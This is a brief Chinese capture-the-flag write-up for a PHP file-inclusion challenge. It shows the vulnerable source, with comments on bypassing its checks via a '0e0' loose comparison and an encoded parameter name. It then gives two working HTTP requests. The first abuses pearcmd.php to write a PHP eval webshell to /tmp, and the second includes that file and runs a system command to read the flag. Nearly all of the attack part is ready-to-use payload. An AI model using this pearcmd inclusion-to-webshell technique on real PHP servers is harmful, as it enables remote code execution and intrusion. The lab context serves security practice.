简简单单文件包含。大家快来玩吧
对了flag在flag.txt中

```php
<?php


header("Content-Type:text/html;charset=utf-8");

highlight_file(__FILE__);


if(isset($_GET['one']) && $_GET['one'] == 0 && $_GET['one']){//0e0过第一个
    echo 'pass 1<br>';
}else{
    die('no no no!');
}

$query = $_SERVER['QUERY_STRING'];//在php中``QUERY_STRING``是不会自动解码的，GE['parm']是会自动解码
if(strpos($query,'one') !== false){
    die('no no no!');
}else{
    echo 'pass 2<br>';
}

$f=$_GET['file'];
@include($f . '.php');//使用pearcmd.php进行写shell
?>
'''
```

payload:

step1.

```shell
GET /index.php?on%65=0e0&file=/usr/local/lib/php/pearcmd&+config-create+/<?=eval($_POST["vials"])
Host: 192.168.126.129:8900
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

step2.

```
POST /index.php?on%65=0e0&file=/tmp/vials HTTP/1.1
Host: 192.168.126.129:8900
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.126.129:8900
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
Referer: http://192.168.126.129:8900/index.php?one=0e0&file=/tmp/vials
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

vials=system("cat /flag.txt");
```

原文

提供更好的翻译建议